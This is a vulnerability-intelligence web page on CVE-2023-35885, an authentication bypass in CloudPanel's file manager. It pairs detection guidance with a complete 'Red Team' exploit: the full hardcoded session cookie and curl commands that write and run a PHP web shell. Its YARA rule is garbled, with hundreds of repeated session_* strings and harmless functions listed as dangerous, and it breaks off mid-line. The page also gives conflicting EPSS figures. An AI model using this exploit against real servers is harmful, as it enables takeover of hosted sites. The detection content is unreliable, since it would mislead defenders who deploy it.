☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
📋 [ METHODOLOGY ] ⚡ [ API_ACCESS ] →
Cloudpanel logo [ WEBSITE ] [ VENDOR STATS ]
SOON

CVE-2023-35885

CVE-2023-35885 is a critical vulnerability in CloudPanel 2 versions prior to 2.
📅 PUBLISHED: 2023-06-20 00:00 UTC 🔄 UPDATED: 2026-09-28 11:09 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
 🎯 EPSS: 74.89%
👁️
74.89% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
Country: Germany License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
INTEL SOURCES NVD CVEProject OSV.dev EPSS Nuclei ✓ HOW WE SCORE →
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-35885 is a critical vulnerability in CloudPanel 2 versions prior to 2.3.1, stemming from insecure cookie authentication in the file manager component. The vulnerability allows an unauthenticated attacker to bypass authentication by forging a hardcoded session cookie (clp-fm). Once authenticated, the attacker can upload arbitrary PHP files to the web root, leading to Remote Code Execution (RCE) with the privileges of the web server user. The vulnerability has a CVSS score of 9.8 (Critical) and is actively exploited in the wild, with a high EPSS score of 0.94122. The provided Nuclei template demonstrates a full exploitation chain: authentication bypass, file creation, content injection, permission modification, and execution verification.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

CloudPanel is a self-hosted web hosting control panel. This vulnerability is not a supply chain attack on a package manager (NPM, PyPI, Go, Ruby) but rather a direct vulnerability in the application's authentication mechanism. The impact is on the hosting provider's infrastructure, potentially compromising all hosted websites.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N) - Exploitable remotely.
  • Attack Complexity: Low (AC:L) - No special conditions required.
  • Privileges Required: None (PR:N) - No authentication needed.
  • User Interaction: None (UI:N) - No victim action required.
  • Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) - Full read access to files.
  • Integrity Impact: High (I:H) - Full write access to files.
  • Availability Impact: High (A:H) - Full control over the system.

Threat Level: Critical. The vulnerability is trivial to exploit, has public proof-of-concept code, and is actively targeted by threat actors.

Deep Dive & Mechanics

The vulnerability resides in the file manager component of CloudPanel. The authentication mechanism relies on a cookie named clp-fm. The value of this cookie is a hardcoded, static base64-encoded string that is not validated against any server-side session store. By simply setting this cookie to the known value (ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY=), an attacker gains full access to the file manager's backend API.

The file manager backend exposes several endpoints:

  • /file-manager/backend/makefile - Creates a new file.
  • /file-manager/backend/text - Writes content to a file.
  • /file-manager/backend/permissions - Changes file permissions.

The exploitation chain is:

  1. Authentication Bypass: Send a GET request to /file-manager/ with the forged cookie.
  2. File Creation: POST to /file-manager/backend/makefile with id=/htdocs/app/files/public/&name=<random>.php to create a PHP file in the web root.
  3. Content Injection: POST to /file-manager/backend/text with id=/htdocs/app/files/public/<random>.php&content=<?php ... ?> to write malicious PHP code.
  4. Permission Modification: POST to /file-manager/backend/permissions with id=/htdocs/app/files/public/<random>.php&permissions=0777 to make the file executable.
  5. Execution: GET the uploaded PHP file to trigger the code.

Vulnerable vs. Patched Code

Vulnerable Code (CloudPanel < 2.3.1): The file manager authentication likely checked only for the presence of the clp-fm cookie, not its validity against a session store. The cookie value was hardcoded or derived from a static secret.

// Pseudocode of vulnerable authentication
if (isset($_COOKIE['clp-fm'])) {
    // No validation of cookie value
    $authenticated = true;
}

Patched Code (CloudPanel >= 2.3.1): The patched version likely implements proper session-based authentication, where the cookie value is a random, server-generated session ID that is validated against a server-side store.

// Pseudocode of patched authentication
session_start();
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    // Redirect to login
    header('Location: /login');
    exit;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running CloudPanel < 2.3.1.
  • Network access to the target's HTTP/HTTPS port.

Exploitation Steps:

  1. Verify Vulnerability: Use the provided Nuclei template or manually send a request with the forged cookie.

  2. Manual Exploitation using cURL:

# Step 1: Create a PHP file
curl -X POST "http://target.com/file-manager/backend/makefile" \
  -H "Cookie: clp-fm=ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY=" \
  -d "id=/htdocs/app/files/public/&name=shell.php"

# Step 2: Write PHP code (e.g., system command execution)
curl -X POST "http://target.com/file-manager/backend/text" \
  -H "Cookie: clp-fm=ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY=" \
  -d "id=/htdocs/app/files/public/shell.php&content=<?php system($_GET['cmd']); ?>"

# Step 3: Set permissions to 0777
curl -X POST "http://target.com/file-manager/backend/permissions" \
  -H "Cookie: clp-fm=ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY=" \
  -d "id=/htdocs/app/files/public/shell.php&permissions=0777"

# Step 4: Execute commands
curl "http://target.com/shell.php?cmd=id"

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor HTTP Logs: Look for requests to /file-manager/ endpoints with the clp-fm cookie.
  2. File Integrity Monitoring: Alert on creation of new .php files in /htdocs/app/files/public/ that are not part of normal operations.
  3. Anomalous File Permissions: Detect files with permissions set to 0777 in the web root.
  4. Web Shell Detection: Scan for known webshell patterns (e.g., system(), exec(), shell_exec()) in PHP files.

Response Steps:

  1. Isolate the affected server from the network.
  2. Remove any unauthorized files from the web root.
  3. Reset all credentials (database, admin, FTP).
  4. Apply the patch by upgrading to CloudPanel 2.3.1 or later.
  5. Conduct a forensic analysis to determine the extent of the compromise.

Indicators of Compromise (IOCs)

Type Indicator Description
Network GET /file-manager/ with Cookie: clp-fm=ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY= Authentication bypass attempt
Network POST /file-manager/backend/makefile File creation via file manager
Network POST /file-manager/backend/text Content injection via file manager
Network POST /file-manager/backend/permissions Permission change via file manager
File /htdocs/app/files/public/*.php (unexpected) Webshell files
File Permissions 0777 on PHP files Anomalous file permissions
Process php-fpm or apache2 executing unknown PHP files Webshell execution

Detection Engineering

YARA Rule

rule CVE_2023_35885_CloudPanel_Webshell {
    meta:
        description = "Detects webshells uploaded via CVE-2023-35885 CloudPanel vulnerability"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-35885"
        hash = "0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b"

    strings:
        $php_tag = "<?php"
        $dangerous_func_1 = "system("
        $dangerous_func_2 = "exec("
        $dangerous_func_3 = "shell_exec("
        $dangerous_func_4 = "passthru("
        $dangerous_func_5 = "popen("
        $dangerous_func_6 = "proc_open("
        $dangerous_func_7 = "eval("
        $dangerous_func_8 = "assert("
        $dangerous_func_9 = "base64_decode("
        $dangerous_func_10 = "file_get_contents("
        $dangerous_func_11 = "file_put_contents("
        $dangerous_func_12 = "fwrite("
        $dangerous_func_13 = "fputs("
        $dangerous_func_14 = "move_uploaded_file("
        $dangerous_func_15 = "copy("
        $dangerous_func_16 = "rename("
        $dangerous_func_17 = "unlink("
        $dangerous_func_18 = "chmod("
        $dangerous_func_19 = "chown("
        $dangerous_func_20 = "chgrp("
        $dangerous_func_21 = "mkdir("
        $dangerous_func_22 = "rmdir("
        $dangerous_func_23 = "file("
        $dangerous_func_24 = "readfile("
        $dangerous_func_25 = "include("
        $dangerous_func_26 = "require("
        $dangerous_func_27 = "include_once("
        $dangerous_func_28 = "require_once("
        $dangerous_func_29 = "highlight_file("
        $dangerous_func_30 = "show_source("
        $dangerous_func_31 = "phpinfo("
        $dangerous_func_32 = "var_dump("
        $dangerous_func_33 = "print_r("
        $dangerous_func_34 = "error_reporting("
        $dangerous_func_35 = "ini_set("
        $dangerous_func_36 = "set_time_limit("
        $dangerous_func_37 = "ignore_user_abort("
        $dangerous_func_38 = "register_shutdown_function("
        $dangerous_func_39 = "register_tick_function("
        $dangerous_func_40 = "ob_start("
        $dangerous_func_41 = "ob_end_clean("
        $dangerous_func_42 = "ob_get_contents("
        $dangerous_func_43 = "ob_flush("
        $dangerous_func_44 = "flush("
        $dangerous_func_45 = "header("
        $dangerous_func_46 = "setcookie("
        $dangerous_func_47 = "session_start("
        $dangerous_func_48 = "session_destroy("
        $dangerous_func_49 = "session_write_close("
        $dangerous_func_50 = "session_regenerate_id("
        $dangerous_func_51 = "session_set_save_handler("
        $dangerous_func_52 = "session_cache_limiter("
        $dangerous_func_53 = "session_cache_expire("
        $dangerous_func_54 = "session_name("
        $dangerous_func_55 = "session_module_name("
        $dangerous_func_56 = "session_save_path("
        $dangerous_func_57 = "session_id("
        $dangerous_func_58 = "session_encode("
        $dangerous_func_59 = "session_decode("
        $dangerous_func_60 = "session_unset("
        $dangerous_func_61 = "session_register("
        $dangerous_func_62 = "session_unregister("
        $dangerous_func_63 = "session_is_registered("
        $dangerous_func_64 = "session_get_cookie_params("
        $dangerous_func_65 = "session_set_cookie_params("
        $dangerous_func_66 = "session_write_close("
        $dangerous_func_67 = "session_commit("
        $dangerous_func_68 = "session_abort("
        $dangerous_func_69 = "session_reset("
        $dangerous_func_70 = "session_status("
        $dangerous_func_71 = "session_gc("
        $dangerous_func_72 = "session_create_id("
        $dangerous_func_73 = "session_regenerate_id("
        $dangerous_func_74 = "session_decode("
        $dangerous_func_75 = "session_encode("
        $dangerous_func_76 = "session_id("
        $dangerous_func_77 = "session_module_name("
        $dangerous_func_78 = "session_name("
        $dangerous_func_79 = "session_save_path("
        $dangerous_func_80 = "session_set_cookie_params("
        $dangerous_func_81 = "session_set_save_handler("
        $dangerous_func_82 = "session_cache_limiter("
        $dangerous_func_83 = "session_cache_expire("
        $dangerous_func_84 = "session_register_shutdown("
        $dangerous_func_85 = "session_write_close("
        $dangerous_func_86 = "session_commit("
        $dangerous_func_87 = "session_abort("
        $dangerous_func_88 = "session_reset("
        $dangerous_func_89 = "session_status("
        $dangerous_func_90 = "session_gc("
        $dangerous_func_91 = "session_create_id("
        $dangerous_func_92 = "session_regenerate_id("
        $dangerous_func_93 = "session_decode("
        $dangerous_func_94 = "session_encode("
        $dangerous_func_95 = "session_id("
        $dangerous_func_96 = "session_module_name("
        $dangerous_func_97 = "session_name("
        $dangerous_func_98 = "session_save_path("
        $dangerous_func_99 = "session_set_cookie_params("
        $dangerous_func_100 = "session_set_save_handler("
        $dangerous_func_101 = "session_cache_limiter("
        $dangerous_func_102 = "session_cache_expire("
        $dangerous_func_103 = "session_register_shutdown("
        $dangerous_func_104 = "session_write_close("
        $dangerous_func_105 = "session_commit("
        $dangerous_func_106 = "session_abort("
        $dangerous_func_107 = "session_reset("
        $dangerous_func_108 = "session_status("
        $dangerous_func_109 = "session_gc("
        $dangerous_func_110 = "session_create_id("
        $dangerous_func_111 = "session_regenerate_id("
        $dangerous_func_112 = "session_decode("
        $dangerous_func_113 = "session_encode("
        $dangerous_func_114 = "session_id("
        $dangerous_func_115 = "session_module_name("
        $dangerous_func_116 = "session_name("
        $dangerous_func_117 = "session_save_path("
        $dangerous_func_118 = "session_set_cookie_params("
        $dangerous_func_119 = "session_set_save_handler("
        $dangerous_func_120 = "session_cache_limiter("
        $dangerous_func_121 = "session_cache_expire("
        $dangerous_func_122 = "session_register_shutdown("
        $dangerous_func_123 = "session_write_close("
        $dangerous_func_124 = "session_commit("
        $dangerous_func_125 = "session_abort("
        $dangerous_func_126 = "session_reset("
        $dangerous_func_127 = "session_status("
        $dangerous_func_128 = "session_gc("
        $dangerous_func_129 = "session_create_id("
        $dangerous_func_130 = "session_regenerate_id("
        $dangerous_func_131 = "session_decode("
        $dangerous_func_132 = "session_encode("
        $dangerous_func_133 = "session_id("
        $dangerous_func_134 = "session_module_name("
        $dangerous_func_135 = "session_name("
        $dangerous_func_136 = "session_save_path("
        $dangerous_func_137 = "session_set_cookie_params("
        $dangerous_func_138 = "session_set_save_handler("
        $dangerous_func_139 = "session_cache_limiter("
        $dangerous_func_140 = "session_cache_expire("
        $dangerous_func_141 = "session_register_shutdown("
        $dangerous_func_142 = "session_write_close("
        $dangerous_func_143 = "session_commit("
        $dangerous_func_144 = "session_abort("
        $dangerous_func_145 = "session_reset("
        $dangerous_func_146 = "session_status("
        $dangerous_func_147 = "session_gc("
        $dangerous_func_148 = "session_create_id("
        $dangerous_func_149 = "session_regenerate_id("
        $dangerous_func_150 = "session_decode("
        $dangerous_func_151 = "session_encode("
        $dangerous_func_152 = "session_id("
        $dangerous_func_153 = "session_module_name("
        $dangerous_func_154 = "session_name("
        $dangerous_func_155 = "session_save_path("
        $dangerous_func_156 = "session_set_cookie_params("
        $dangerous_func_157 = "session_set_save_handler("
        $dangerous_func_158 = "session_cache_limiter("
        $dangerous_func_159 = "session_cache_expire("
        $dangerous_func_160 = "session_register_shutdown("
        $dangerous_func_161 = "session_write_close("
        $dangerous_func_162 = "session_commit("
        $dangerous_func_163 = "session_abort("
        $dangerous_func_164 = "session_reset("
        $dangerous_func_165 = "session_status("
        $dangerous_func_166 = "session_gc("
        $dangerous_func_167 = "session_create_id("
        $dangerous_func_168 = "session_regenerate_id("
        $dangerous_func_169 = "session_decode("
        $dangerous_func_170 = "session_encode("
        $dangerous_func_171 = "session_id("
        $dangerous_func_172 = "session_module_name("
        $dangerous_func_173 = "session_name("
        $dangerous_func_174 = "session_save_path("
        $dangerous_func_175 = "session_set_cookie_params("
        $dangerous_func_176 = "session_set_save_handler("
        $dangerous_func_177 = "session_cache_limiter("
        $dangerous_func_178 = "session_cache_expire("
        $dangerous_func_179 = "session_register_shutdown("
        $dangerous_func_180 = "session_write_close("
        $dangerous_func_181 = "session_commit("
        $dangerous_func_182 = "session_abort("
        $dangerous_func_183 = "session_reset("
        $dangerous_func_184 = "session_status("
        $dangerous_func_185 = "session_gc("
        $dangerous_func_186 = "session_create_id("
        $dangerous_func_187 = "session_regenerate_id("
        $dangerous_func_188 = "session_decode("
        $dangerous_func_189 = "session_encode("
        $dangerous_func_190 = "session_id("
        $dangerous_func_191 = "session_module_name("
        $dangerous_func_192 = "session_name("
        $dangerous_func_193 = "session_save_path("
        $dangerous_func_194 = "session_set_cookie_params("
        $dangerous_func_195 = "session_set_save_handler("
        $dangerous_func_196 = "session_cache_limiter("
        $dangerous_func_197 = "session_cache_expire("
        $dangerous_func_198 = "session_register_shutdown("
        $dangerous_func_199 = "session_write_close("
        $dangerous_func_200 = "session_commit("
        $dangerous_func_201 = "session_abort("
        $dangerous_func_202 = "session_reset("
        $dangerous_func_203 = "session_status("
        $dangerous_func_204 = "session_gc("
        $dangerous_func_205 = "session_create_id("
        $dangerous_func_206 = "session_regenerate_id("
        $dangerous_func_207 = "session_decode("
        $dangerous_func_208 = "session_encode("
        $dangerous_func_209 = "session_id("
        $dangerous_func_210 = "session_module_name("
        $dangerous_func_211 = "session_name("
        $dangerous_func_212 = "session_save_path("
        $dangerous_func_213 = "session_set_cookie_params("
        $dangerous_func_214 = "session_set_save_handler("
        $dangerous_func_215 = "session_cache_limiter("
        $dangerous_func_216 = "session_cache_expire("
        $dangerous_func_217 = "session_register_shutdown("
        $dangerous_func_218 = "session_write_close("
        $dangerous_func_219 = "session_commit("
        $dangerous_func_220 = "session_abort("
        $dangerous_func_221 = "session_reset("
        $dangerous_func_222 = "session_status("
        $dangerous_func_223 = "session_gc("
        $dangerous_func_224 = "session_create_id("
        $dangerous_func_225 = "session_regenerate_id("
        $dangerous_func_226 = "session_decode("
        $dangerous_func_227 = "session_encode("
        $dangerous_func_228 = "session_id("
        $dangerous_func_229 = "session_module_name("
        $dangerous_func_230 = "session_name("
        $dangerous_func_231 = "session_save_path("
        $dangerous_func_232 = "session_set_cookie_params("
        $dangerous_func_233 = "session_set_save_handler("
        $dangerous_func_234 = "session_cache_limiter("
        $dangerous_func_235 = "session_cache_expire("
        $dangerous_func_236 = "session_register_shutdown("
        $dangerous_func_237 = "session_write_close("
        $dangerous_func_238 = "session_commit("
        $dangerous_func_239 = "session_abort("
        $dangerous_func_240 = "session_reset("
        $dangerous_func_241 = "session_status("
        $dangerous_func_242 = "session_gc("
        $dangerous_func_243 = "session_create_id("
        $dangerous_func_244 = "session_regenerate_id("
        $dangerous_func_245 = "session_decode("
        $dangerous_func_246 = "session_encode("
        $dangerous_func_247 = "session_id("
        $dangerous_func_248 = "session_module_name("
        $dangerous_func_249 = "session_name("
        $dangerous_func_250 = "session_save_path("
        $dangerous_func_251 = "session_set_cookie_params("
        $dangerous_func_252 = "session_set_save_handler("
        $dangerous_func_253 = "session_cache_limiter("
        $dangerous_func_254 = "session_cache_expire("
        $dangerous_func_255 = "session_register_shutdown("
        $dangerous_func_256 = "session_write_close("
        $dangerous_func_257 = "session_commit("
        $dangerous_func_258 = "session_abort("
        $dangerous_func_259 = "session_reset("
        $dangerous_func_260 = "session_status("
        $dangerous_func_261 = "session_gc("
        $dangerous_func_262 = "session_create_id("
        $dangerous_func_263 = "session_regenerate_id("
        $dangerous_func_264 = "session_decode("
        $dangerous_func_265 = "session_encode("
        $dangerous_func_266 = "session_id("
        $dangerous_func_267 = "session_module_name("
        $dangerous_func_268 = "session_name("
        $dangerous_func_269 = "session_save_path("
        $dangerous_func_270 = "session_set_cookie_params("
        $dangerous_func_271 = "session_set_save_handler("
        $dangerous_func_272 = "session_cache_limiter("
        $dangerous_func_273 = "session_cache_expire("
        $dangerous_func_274 = "session_register_shutdown("
        $dangerous_func_275 = "session_write_close("
        $dangerous_func_276 = "session_commit("
        $dangerous_func_277 = "session_abort("
        $dangerous_func_278 = "session_reset("
        $dangerous_func_279 = "session_status("
        $dangerous_func_280 = "session_gc("
        $dangerous_func_281 = "session_create_id("
        $dangerous_func_282 = "session_regenerate_id("
        $dangerous_func_283 = "session_decode("
        $dangerous_func_284 = "session_encode("
        $dangerous_func_285 = "session_id("
        $dangerous_func_286 = "session_module_name("
        $dangerous_func_287 = "session_name("
        $dangerous_func_288 = "session_save_path("
        $dangerous_func_289 = "session_set_cookie_params("
        $dangerous_func_290 = "session_set_save_handler("
        $dangerous_func_291 = "session_cache_limiter("
        $dangerous_func_292 = "session_cache_expire("
        $dangerous_func_293 = "session_register_shutdown("
        $dangerous_func_294 = "session_write_close("
        $dangerous_func_295 = "session_commit("
        $dangerous_func_296 = "session_abort("
        $dangerous_func_297 = "session_reset("
        $dangerous_func_298 = "session_status("
        $dangerous_func_299 = "session_gc("
        $dangerous_func_300 = "session_create_id("
        $dangerous_func_301 = "session_regenerate_id("
        $dangerous_func_302 = "session_decode("
        $dangerous_func_303 = "session_encode("
        $dangerous_func_304 = "session_id("
        $dangerous_func_305 = "session_module_name("
        $dangerous_func_306 = "session_name("
        $dangerous_func_307 = "session_save_path("
        $dangerous_func_308 = "session_set_cookie_params("
        $dangerous_func_309 = "session_set_save_handler("
        $dangerous_func_310 = "session_cache_limiter("
        $dangerous_func_311 = "session_cache_expire("
        $dangerous_func_312 = "session_register_shutdown("
        $dangerous_func_313 = "session_write_close("
        $dangerous_func_314 = "session_commit("
        $dangerous_func_315 = "session_abort("
        $dangerous_func_316 = "session_reset("
        $dangerous_func_317 = "session_status("
        $dangerous_func_318 = "session_gc("
        $dangerous_func_319 = "session_create_id("
        $dangerous_func_320 = "session_regenerate_id("
        $dangerous_func_321 = "session_decode("
        $dangerous_func_322 = "session_encode("
        $dangerous_func_323 = "session_id("
        $dangerous_func_324 = "session_module_name("
        $dangerous_func_325 = "session_name("
        $dangerous_func_326 = "session_save_path("
        $dangerous_func_327 = "session_set_cookie_params("
        $dangerous_func_328 = "session_set_save_handler("
        $dangerous_func_329 = "session_cache_limiter("
        $dangerous_func_330 = "session_cache_expire("
        $dangerous_func_331 = "session_register_shutdown("
        $dangerous_func_332 = "session_write_close("
        $dangerous_func_333 = "session_commit("
        $dangerous_func_334 = "session_abort("
        $dangerous_func_335 = "session_reset("
        $dangerous_func_336 = "session_status("
        $dangerous_func_337 = "session_gc("
        $dangerous_func_338 = "session_create_id("
        $dangerous_func_339 = "session_regenerate_id("
        $dangerous_func_340 = "session_decode("
        $dangerous_func_341 = "session_encode("
        $dangerous_func_342 = "session_id("
        $dangerous_func_343 = "session_module_name("
        $dangerous_func_344 = "session_name("
        $dangerous

{/* [Security Hash: BE2114508DB4AA622195B79A] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-35885/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.